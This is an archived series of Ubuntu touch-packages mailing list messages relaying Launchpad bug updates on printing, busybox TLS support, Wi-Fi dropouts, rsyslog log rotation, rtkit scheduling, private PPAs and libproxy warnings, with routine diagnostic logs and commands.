  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Mon May 18 02:24:07 2020
  InstallationDate: Installed on 2020-05-17 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  Lpstat: device for DeskJet_3630: 
hp:/usb/DeskJet_3630_series?serial=CN8AM7H3230658
  MachineType: LENOVO 80G0
  Papersize: a4
  PpdFiles: Error: command ['fgrep', '-H', '*NickName', 
'/etc/cups/ppd/DeskJet_3630.ppd'] failed with exit code 2: grep: 
/etc/cups/ppd/DeskJet_3630.ppd: Permission denied
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-29-generic 
root=UUID=6a8469e0-ecea-4a86-8040-b0caaa938fe4 ro quiet splash vt.handoff=7
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/18/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A7CN40WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lancer 5A6
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-30
  dmi.modalias: 
dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80G0:pvrLenovoG50-30:rvnLENOVO:rnLancer5A6:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-30:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80G0
  dmi.product.sku: LENOVO_MT_80G0_BU_idea_FM_Lenovo G50-30
  dmi.product.version: Lenovo G50-30
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1879206/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1721704] Re: Printer settings stuck on loading drivers database

2020-05-19 Thread Jamie Strandboge
@Till, the boot_id issue is being tracked here:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1872564

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1721704

Title:
  Printer settings stuck on loading drivers database

Status in apparmor package in Ubuntu:
  New
Status in system-config-printer package in Ubuntu:
  Incomplete

Bug description:
  1) Description:   Ubuntu Artful Aardvark (development branch)
 Release:   17.10
  2) ubuntu-settings:
 Installed: 17.10.17
 Candidate: 17.10.17
  3) The printer configuration goes fine and I can print
  4) Printer settings stuck on loading drivers database and finally no drivers 
list available. Only 'cancel' button active.

  Note: I'm trying to configure a Brother HL-2030 connected to Network
  through a FritzBox 7940 router. The printer works fine both on Fedora
  and macOS X systems. I opened 'System Settings', then select 'Devices'
  > 'Printers' > 'Add a Printer'. I entered the router address and the
  window shows me correctly a 'JetDirect-Printer' on 192.168.178.1. I
  selected the printer and pressed the 'Add' button, a window 'Select
  Printer Driver' appears and stuck with 'Loading drivers database...'.
  After about 2 minutes, stopped loading and remains blank. No drivers
  selection is available and I can only push the 'Cancel' button.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1721704/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879525] Re: Add TLS support

2020-05-19 Thread Ubuntu Foundations Team Bug Bot
** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to busybox in Ubuntu.
https://bugs.launchpad.net/bugs/1879525

Title:
  Add TLS support

Status in busybox package in Ubuntu:
  New
Status in busybox source package in Focal:
  New

Bug description:
  [Impact]

   * busybox in the initramfs provides wget applet that is used by casper for 
netboot support
   * It does not support https at the moment, but it is desirable that it does
   * There is built-in TLS code, or "fork & execute openssl"
   * Enable the later one, and optionally include /usr/bin/openssl & certs, 
when building casper-like initrds which should support netboot.

  [Test Case]

   * Boot casper created initrd, with break=bottom
   * Configure dhcp based networking
   * Attempt to wget https://start.ubuntu.com/connectivity-check
   * It should succeed

  [Regression Potential]

   * The openssl codepath is optional in busybox wget, and we only include 
openssl & certs for casper.
   * The casper based initrd will grow in size, due to inclusion of openssl & 
certs

  [Other Info]
   
   * Parity with d-i, which includes https support already

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/busybox/+bug/1879525/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879525] [NEW] Add TLS support

2020-05-19 Thread Dimitri John Ledkov
Public bug reported:

[Impact]

 * busybox in the initramfs provides wget applet that is used by casper for 
netboot support
 * It does not support https at the moment, but it is desirable that it does
 * There is built-in TLS code, or "fork & execute openssl"
 * Enable the later one, and optionally include /usr/bin/openssl & certs, when 
building casper-like initrds which should support netboot.

[Test Case]

 * Boot casper created initrd, with break=bottom
 * Configure dhcp based networking
 * Attempt to wget https://start.ubuntu.com/connectivity-check
 * It should succeed

[Regression Potential]

 * The openssl codepath is optional in busybox wget, and we only include 
openssl & certs for casper.
 * The casper based initrd will grow in size, due to inclusion of openssl & 
certs

[Other Info]
 
 * Parity with d-i, which includes https support already

** Affects: busybox (Ubuntu)
 Importance: Undecided
 Status: New

** Affects: busybox (Ubuntu Focal)
 Importance: Undecided
 Status: New


** Tags: rls-gg-incoming

** Also affects: busybox (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Tags added: rls-gg-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to busybox in Ubuntu.
https://bugs.launchpad.net/bugs/1879525

Title:
  Add TLS support

Status in busybox package in Ubuntu:
  New
Status in busybox source package in Focal:
  New

Bug description:
  [Impact]

   * busybox in the initramfs provides wget applet that is used by casper for 
netboot support
   * It does not support https at the moment, but it is desirable that it does
   * There is built-in TLS code, or "fork & execute openssl"
   * Enable the later one, and optionally include /usr/bin/openssl & certs, 
when building casper-like initrds which should support netboot.

  [Test Case]

   * Boot casper created initrd, with break=bottom
   * Configure dhcp based networking
   * Attempt to wget https://start.ubuntu.com/connectivity-check
   * It should succeed

  [Regression Potential]

   * The openssl codepath is optional in busybox wget, and we only include 
openssl & certs for casper.
   * The casper based initrd will grow in size, due to inclusion of openssl & 
certs

  [Other Info]
   
   * Parity with d-i, which includes https support already

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/busybox/+bug/1879525/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1870442] Re: Laptop drops connection to the Internet after reboot, forcing me to reset by turning Wi-Fi off and then back on.

2020-05-19 Thread You-Sheng Yang
** Tags added: hwe-networking-wifi

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1870442

Title:
  Laptop drops connection to the Internet after reboot, forcing me to
  reset by turning Wi-Fi off and then back on.

Status in linux package in Ubuntu:
  Incomplete
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  When I was trying to connect to the network after rebooting the
  computer, and I disabled verification before the reboot, the laptop
  connected, but then, even though no other computers had this problem,
  the speed of the wi-fi shut down, and then the connection with the
  router dropped. All this until I turned Airplane Mode on and Wi-Fi on
  my PC for a brief second before disabling airplane mode and reenabling
  Wi-Fi.

  Ubuntu 18.04.4

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: network-manager 1.10.6-2ubuntu1.4
  ProcVersionSignature: Ubuntu 5.3.0-45.37~18.04.1-generic 5.3.18
  Uname: Linux 5.3.0-45-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.14
  Architecture: amd64
  Date: Thu Apr  2 18:25:30 2020
  IfupdownConfig:
   # interfaces(5) file used by ifup(8) and ifdown(8)
   auto lo
   iface lo inet loopback
  InstallationDate: Installed on 2020-04-01 (0 days ago)
  InstallationMedia: Ubuntu 18.04.4 LTS "Bionic Beaver" - Release amd64 
(20200203.1)
  IpRoute:
   default via 192.168.1.1 dev wlp2s0 proto dhcp metric 600 
   169.254.0.0/16 dev wlp2s0 scope link metric 1000 
   192.168.1.0/24 dev wlp2s0 proto kernel scope link src 192.168.1.39 metric 600
  NetworkManager.state:
   [main]
   NetworkingEnabled=true
   WirelessEnabled=true
   WWANEnabled=true
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: network-manager
  UpgradeStatus: No upgrade log present (probably fresh install)
  nmcli-con:
   NAMEUUID  TYPE  
TIMESTAMP   TIMESTAMP-REAL   AUTOCONNECT  AUTOCONNECT-PRIORITY  
READONLY  DBUS-PATH   ACTIVE  DEVICE  STATE 
 ACTIVE-PATH SLAVE 
   NETGEAR18   6fbfa44b-461e-4067-b37a-26f63bc54f88  wifi  
1585866147  Thu 02 Apr 2020 06:22:27 PM EDT  yes  0 
no/org/freedesktop/NetworkManager/Settings/1  yes wlp2s0  activated 
 /org/freedesktop/NetworkManager/ActiveConnection/1  --
   Wired connection 1  0c4f5994-e9fb-3218-9aa5-d46003ebcd5a  ethernet  
1585865851  Thu 02 Apr 2020 06:17:31 PM EDT  yes  4294966297
no/org/freedesktop/NetworkManager/Settings/2  no  --  --
 --  --
  nmcli-dev:
   DEVICE  TYPE  STATEDBUS-PATH  
CONNECTION  CON-UUID  CON-PATH  
 
   wlp2s0  wifi  connected/org/freedesktop/NetworkManager/Devices/3  
NETGEAR18   6fbfa44b-461e-4067-b37a-26f63bc54f88  
/org/freedesktop/NetworkManager/ActiveConnection/1 
   enp1s0  ethernet  unavailable  /org/freedesktop/NetworkManager/Devices/2  -- 
 ----   
  
   lo  loopback  unmanaged/org/freedesktop/NetworkManager/Devices/1  -- 
 ----
  nmcli-nm:
   RUNNING  VERSION  STATE  STARTUP  CONNECTIVITY  NETWORKING  WIFI-HW  
WIFI WWAN-HW  WWAN
   running  1.10.6   connected  started  full  enabled enabled  
enabled  enabled  enabled
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CasperVersion: 1.394.3
  DistroRelease: Ubuntu 18.04
  IfupdownConfig:
   # interfaces(5) file used by ifup(8) and ifdown(8)
   auto lo
   iface lo inet loopback
  IpRoute:
   default via 192.168.1.1 dev wlp2s0 proto dhcp metric 600 
   169.254.0.0/16 dev wlp2s0 scope link metric 1000 
   192.168.1.0/24 dev wlp2s0 proto kernel scope link src 192.168.1.39 metric 600
  LiveMediaBuild: Ubuntu 18.04.4 LTS "Bionic Beaver" - Release amd64 
(20200203.1)
  NetworkManager.state:
   [main]
   NetworkingEnabled=true
   WirelessEnabled=true
   WWANEnabled=true
  Package: network-manager 1.10.6-2ubuntu1.2
  PackageArchitecture: amd64
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  ProcVersionSignature: Ubuntu 5.3.0-28.30~18.04.1-generic 5.3.13
  Tags:  bionic
  Uname: Linux 5.3.0-28-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups:
   
  _MarkForUpload: True
  nmcli-con:
   NAMEUUID  TYPE  
TIMESTAMP   TIMESTAMP-REALAUTOCONNECT  AUTOCONNECT-PRIORITY  
READONLY  DBUS-PATH

[Touch-packages] [Bug 1875493] Re: [core] log rotation doesn't properly restart rsyslogd

2020-05-19 Thread Tony Espy
I just updated the status to Incomplete for both bug tasks, as I may
have been too confident in the original bug description given to me by
the customer.

The logrotate script as written is not meant to "restart" rsyslogd.
Looking at the man page, the HUP signal (as sent by the /usr/lib/rsyslog
/rsyslog-rotate script on postrotate) is meant to trigger rsyslogd to
close all open files. My testing shows that this does seem to be working
OK on both 16.04 classic and Core 16. I suspect that the problem may be
due the way the customer is integrating with rsyslogd, and that this in
turn might be why rsyslogd is holding on to the deleted files. I'm going
to leave this bug open until we can determine the actual root cause,
because as mentioned in the bug description, this can lead to a device
running out of storage.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsyslog in Ubuntu.
https://bugs.launchpad.net/bugs/1875493

Title:
  [core] log rotation doesn't properly restart rsyslogd

Status in Snappy:
  Incomplete
Status in rsyslog package in Ubuntu:
  Incomplete

Bug description:
  One of our commercial partners is developing a device agent snap for
  UC16. One of their engineers just shared the following bug report:

  I wanted to give you a heads up on an issue that we encountered with
  one of our gateways (a Dell 3000) regarding a full disk (/writable).
  It seems as though rsyslog had a bad logrotate config and was holding
  on to deleted files as described here:

   - 
https://www.claudiokuenzler.com/blog/861/after-ubuntu-update-trusty-xenial-disk-filled-syslog-logrotate
   - https://bugzilla.redhat.com/show_bug.cgi?id=1713358

  Both df and du where showing different results for the “/writable”
  path on the Dell gateway.

  We were able to copy the lsof binary over and found this:

  $ sudo /tmp/lsof | grep deleted
  ...
  rsyslogd 1765 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog (deleted)
  rsyslogd 1765 syslog 6w REG 179,4 45056 130836 /var/log/auth.log (deleted)
  rsyslogd 1765 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log (deleted)
  in:imuxso 1765 1776 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog 
(deleted)
  in:imuxso 1765 1776 syslog 6w REG 179,4 45056 130836 /var/log/auth.log 
(deleted)
  in:imuxso 1765 1776 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log 
(deleted)
  in:imklog 1765 1777 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog 
(deleted)
  in:imklog 1765 1777 syslog 6w REG 179,4 45056 130836 /var/log/auth.log 
(deleted)
  in:imklog 1765 1777 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log 
(deleted)
  rs:main 1765 1778 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog 
(deleted)
  rs:main 1765 1778 syslog 6w REG 179,4 45056 130836 /var/log/auth.log (deleted)
  rs:main 1765 1778 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log 
(deleted)
  ...

  Restarting the service freed up the deleted files / disk space:

  sudo service rsyslog restart

  The rsyslog config (/etc/logrotate.d/rsyslog) calls this script post
  rotate:

  /usr/lib/rsyslog/rsyslog-rotate

  Which does not actually kill the rsyslog process:

  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2305 0.7 0.1 262692 3432 ? Ssl 20:35 0:00 /usr/sbin/rsyslogd -n
  admin 2464 0.0 0.0 12984 932 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog
  admin@GR0GP42:~$ sudo /usr/lib/rsyslog/rsyslog-rotate
  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2305 0.6 0.1 262692 3432 ? Ssl 20:35 0:00 /usr/sbin/rsyslogd -n
  admin 2469 0.0 0.0 12984 972 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog

  The fix appears to be using the following command: sudo systemctl
  restart rsyslog >/dev/null 2>&1 || true

  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2305 0.6 0.1 262692 3432 ? Ssl 20:35 0:00 /usr/sbin/rsyslogd -n
  admin 2482 0.0 0.0 12984 972 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog
  admin@GR0GP42:~$ sudo systemctl restart rsyslog >/dev/null 2>&1 || true
  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2487 1.0 0.1 262692 3432 ? Ssl 20:36 0:00 /usr/sbin/rsyslogd -n
  admin 2496 0.0 0.0 12984 980 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1875493/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1875493] Re: [core] log rotation doesn't properly restart rsyslogd

2020-05-19 Thread Tony Espy
** Changed in: rsyslog (Ubuntu)
   Status: New => Incomplete

** Changed in: snappy
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsyslog in Ubuntu.
https://bugs.launchpad.net/bugs/1875493

Title:
  [core] log rotation doesn't properly restart rsyslogd

Status in Snappy:
  Incomplete
Status in rsyslog package in Ubuntu:
  Incomplete

Bug description:
  One of our commercial partners is developing a device agent snap for
  UC16. One of their engineers just shared the following bug report:

  I wanted to give you a heads up on an issue that we encountered with
  one of our gateways (a Dell 3000) regarding a full disk (/writable).
  It seems as though rsyslog had a bad logrotate config and was holding
  on to deleted files as described here:

   - 
https://www.claudiokuenzler.com/blog/861/after-ubuntu-update-trusty-xenial-disk-filled-syslog-logrotate
   - https://bugzilla.redhat.com/show_bug.cgi?id=1713358

  Both df and du where showing different results for the “/writable”
  path on the Dell gateway.

  We were able to copy the lsof binary over and found this:

  $ sudo /tmp/lsof | grep deleted
  ...
  rsyslogd 1765 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog (deleted)
  rsyslogd 1765 syslog 6w REG 179,4 45056 130836 /var/log/auth.log (deleted)
  rsyslogd 1765 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log (deleted)
  in:imuxso 1765 1776 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog 
(deleted)
  in:imuxso 1765 1776 syslog 6w REG 179,4 45056 130836 /var/log/auth.log 
(deleted)
  in:imuxso 1765 1776 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log 
(deleted)
  in:imklog 1765 1777 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog 
(deleted)
  in:imklog 1765 1777 syslog 6w REG 179,4 45056 130836 /var/log/auth.log 
(deleted)
  in:imklog 1765 1777 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log 
(deleted)
  rs:main 1765 1778 syslog 5w REG 179,4 1993793536 130599 /var/log/syslog 
(deleted)
  rs:main 1765 1778 syslog 6w REG 179,4 45056 130836 /var/log/auth.log (deleted)
  rs:main 1765 1778 syslog 7w REG 179,4 211976192 130782 /var/log/kern.log 
(deleted)
  ...

  Restarting the service freed up the deleted files / disk space:

  sudo service rsyslog restart

  The rsyslog config (/etc/logrotate.d/rsyslog) calls this script post
  rotate:

  /usr/lib/rsyslog/rsyslog-rotate

  Which does not actually kill the rsyslog process:

  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2305 0.7 0.1 262692 3432 ? Ssl 20:35 0:00 /usr/sbin/rsyslogd -n
  admin 2464 0.0 0.0 12984 932 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog
  admin@GR0GP42:~$ sudo /usr/lib/rsyslog/rsyslog-rotate
  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2305 0.6 0.1 262692 3432 ? Ssl 20:35 0:00 /usr/sbin/rsyslogd -n
  admin 2469 0.0 0.0 12984 972 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog

  The fix appears to be using the following command: sudo systemctl
  restart rsyslog >/dev/null 2>&1 || true

  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2305 0.6 0.1 262692 3432 ? Ssl 20:35 0:00 /usr/sbin/rsyslogd -n
  admin 2482 0.0 0.0 12984 972 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog
  admin@GR0GP42:~$ sudo systemctl restart rsyslog >/dev/null 2>&1 || true
  admin@GR0GP42:~$ ps aux | grep rsyslog
  syslog 2487 1.0 0.1 262692 3432 ? Ssl 20:36 0:00 /usr/sbin/rsyslogd -n
  admin 2496 0.0 0.0 12984 980 pts/0 S+ 20:36 0:00 grep --color=auto rsyslog

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1875493/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1875665] Re: rtkit-daemon[*]: Failed to make ourselves RT: Operation not permitted after upgrade to 20.04

2020-05-19 Thread Kai Groner
I am running the 5.4.0-32-generic kernel from focal-proposed, and rtkit-
daemon seems to be working normally now.

: kai@dipper kai; uname -r
5.4.0-32-generic
: kai@dipper kai; journalctl -b0 -u rtkit-daemon
-- Logs begin at Fri 2020-01-03 16:35:36 EST, end at Tue 2020-05-19 11:02:23 
EDT. --
May 19 10:59:19 dipper systemd[1]: Starting RealtimeKit Scheduling Policy 
Service...
May 19 10:59:19 dipper systemd[1]: Started RealtimeKit Scheduling Policy 
Service.
May 19 10:59:19 dipper rtkit-daemon[2535]: Successfully called chroot.
May 19 10:59:19 dipper rtkit-daemon[2535]: Successfully dropped privileges.
May 19 10:59:19 dipper rtkit-daemon[2535]: Successfully limited resources.
May 19 10:59:19 dipper rtkit-daemon[2535]: Running.
May 19 10:59:19 dipper rtkit-daemon[2535]: Canary thread running.
May 19 10:59:19 dipper rtkit-daemon[2535]: Watchdog thread running.
May 19 10:59:19 dipper rtkit-daemon[2535]: Successfully made thread 2444 of 
process 2444 owned by '123' high priority at nice level -11.
May 19 10:59:19 dipper rtkit-daemon[2535]: Supervising 1 threads of 1 processes 
of 1 users.
May 19 10:59:19 dipper rtkit-daemon[2535]: Supervising 1 threads of 1 processes 
of 1 users.
May 19 10:59:19 dipper rtkit-daemon[2535]: Successfully made thread 2682 of 
process 2444 owned by '123' RT at priority 5.
May 19 10:59:19 dipper rtkit-daemon[2535]: Supervising 2 threads of 1 processes 
of 1 users.
May 19 10:59:19 dipper rtkit-daemon[2535]: Supervising 2 threads of 1 processes 
of 1 users.
⋮

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rtkit in Ubuntu.
https://bugs.launchpad.net/bugs/1875665

Title:
  rtkit-daemon[*]: Failed to make ourselves RT: Operation not permitted
  after upgrade to 20.04

Status in linux package in Ubuntu:
  Fix Committed
Status in linux-azure package in Ubuntu:
  Invalid
Status in linux-gcp package in Ubuntu:
  Invalid
Status in linux-kvm package in Ubuntu:
  Invalid
Status in linux-oracle package in Ubuntu:
  Invalid
Status in linux-riscv package in Ubuntu:
  Invalid
Status in rtkit package in Ubuntu:
  Confirmed
Status in linux source package in Focal:
  Fix Committed
Status in linux-azure source package in Focal:
  Fix Committed
Status in linux-gcp source package in Focal:
  Fix Committed
Status in linux-kvm source package in Focal:
  Fix Committed
Status in linux-oracle source package in Focal:
  Fix Committed
Status in linux-riscv source package in Focal:
  Fix Committed
Status in rtkit source package in Focal:
  Confirmed

Bug description:
  SRU Justification

  Impact: CONFIG_RT_GROUP_SCHED was enabled in focal, except for the
  lowlatency kernel since we expected most RT users to use that kernel.
  However we are getting RT regressions with the generic kernel. Digging
  deeper into this option, it seems to be pretty specialized and to
  require quite a bit of workload-specific configuration/tuning to be
  useful, so it doesn't really seem to make sense for a general-purpose
  kernel.

  Fix: Turn this option back off.

  Test Case: See comment #4.

  Regression Potential: This was turned on to support some docker
  functionality, so this functionality will no longer be available.
  We've had this option off for all releases prior to focal, so this
  seems acceptable.

  ---

  These errors started right after upgrading to 20.04.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: rtkit 0.12-4
  ProcVersionSignature: Ubuntu 5.4.0-26.30-generic 5.4.30
  Uname: Linux 5.4.0-26-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Apr 28 10:31:43 2020
  InstallationDate: Installed on 2019-06-18 (315 days ago)
  InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 (20190416)
  ProcEnviron:
   TERM=tmux-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: rtkit
  UpgradeStatus: Upgraded to focal on 2020-04-21 (6 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1875665/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 645404] Re: Support Private PPAs

2020-05-19 Thread Dan Streetman
> if someone end up working on the issue

*if* someone works on it?

https://code.launchpad.net/~ubuntu-support-team/software-properties/+git/software-properties/+merge/379928
https://salsa.debian.org/apt-team/python-apt/-/merge_requests/43
https://launchpad.net/~ubuntu-support-team/+archive/ubuntu/add-apt-repository


I have a feeling however, that it will be easier for me to just create an 
entirely new tool than to get my add-apt-repostiory and python-apt changes 
merged :-/

As far as this bug, I gave up on any reviews for my MR months ago (and
my other MR has moved beyond this bug).  Feel free to leave it wontfix.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/645404

Title:
  Support Private PPAs

Status in software-properties package in Ubuntu:
  Confirmed
Status in software-properties source package in Bionic:
  Won't Fix
Status in software-properties source package in Cosmic:
  Won't Fix
Status in software-properties source package in Disco:
  Won't Fix
Status in software-properties source package in Eoan:
  Won't Fix
Status in software-properties source package in Focal:
  Won't Fix

Bug description:
  Software properties add-apt-repository currently does not support
  adding private PPAs.

  software-properties should connect to the API and observe that it gets
  permission denied trying to read the ppa. Then it can reconnect to the
  API asking for authentication, which will open a browser window where
  you can do the openid ritual. Then using that token it ought to be
  possible for it to get the password etc.

  
  ProblemType: BugDistroRelease: Ubuntu 12.04
  Package: python-software-properties 0.82.4

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/645404/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1875558] Re: libproxy1-plugin-gsettings triggers a lot of warnings

2020-05-19 Thread Corentin Noël
** Description changed:

- I am getting a lot of:
- GLib-GObject-WARNING **: 09:00:09.217: ../../../gobject/gsignal.c:2617: 
signal 'changed::' is invalid for instance '0x55b923a6b430' of type 'GSettings'
+ [Impact]
  
- This is especially visible with Webkit2Gtk applications such as GNOME
- Web.
+  * The proxy configuration from GSettings is not getting exported and
+ thus is not used by libproxy-enabled applications.
  
- A fix has landed upstream and I've prepared a patch here
- https://salsa.debian.org/gnome-team/libproxy/-/merge_requests/2
+  * Many GLib applications are now throwing critical messages in the logs
+ when running. This is escpecially true for WebKitGtk applications which
+ are throwing one message by subprocess.
+ 
+ [Test Case]
+ 
+  * Open a WebKitGtk application such as Epiphany (GNOME Web) with the
+ terminal and see the critical messages
+ 
+ GLib-GObject-WARNING **: 09:00:09.217: ../../../gobject/gsignal.c:2617:
+ signal 'changed::' is invalid for instance '0x55b923a6b430' of type
+ 'GSettings'
+ 
+ [Regression Potential]
+ 
+  * No regression is to expect from this patch
+ 
+ [Other Info]
+  
+  * The patch is already in debian experimental and is available since 
0.4.15-12

** Summary changed:

- libproxy1-plugin-gsettings triggers a lot of warnings
+ [SRU] libproxy1-plugin-gsettings triggers a lot of warnings

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libproxy in Ubuntu.
https://bugs.launchpad.net/bugs/1875558

Title:
  [SRU] libproxy1-plugin-gsettings triggers a lot of warnings

Status in libproxy package in Ubuntu:
  In Progress

Bug description:
  [Impact]

   * The proxy configuration from GSettings is not getting exported and
  thus is not used by libproxy-enabled applications.

   * Many GLib applications are now throwing critical messages in the
  logs when running. This is escpecially true for WebKitGtk applications
  which are throwing one message by subprocess.

  [Test Case]

   * Open a WebKitGtk application such as Epiphany (GNOME Web) with the
  terminal and see the critical messages

  GLib-GObject-WARNING **: 09:00:09.217:
  ../../../gobject/gsignal.c:2617: signal 'changed::' is invalid for
  instance '0x55b923a6b430' of type 'GSettings'

  [Regression Potential]

   * No regression is to expect from this patch

  [Other Info]
   
   * The patch is already in debian experimental and is available since 
0.4.15-12

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libproxy/+bug/1875558/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1464745] Re: logrotate file fails on all but sysvinit

2020-05-19 Thread Tony Espy
This bug no longer exists in Ubuntu 16.04, as the rsyslog rotate script
(inherited from the Debian package) handles both systemd and sysvinit
based systems:

$ more /usr/lib/rsyslog/rsyslog-rotate 
#!/bin/sh

if [ -d /run/systemd/system ]; then
systemctl kill -s HUP rsyslog.service
else
invoke-rc.d rsyslog rotate > /dev/null
fi

As such, I'm updating the status on this to Invalid.


** Changed in: rsyslog (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsyslog in Ubuntu.
https://bugs.launchpad.net/bugs/1464745

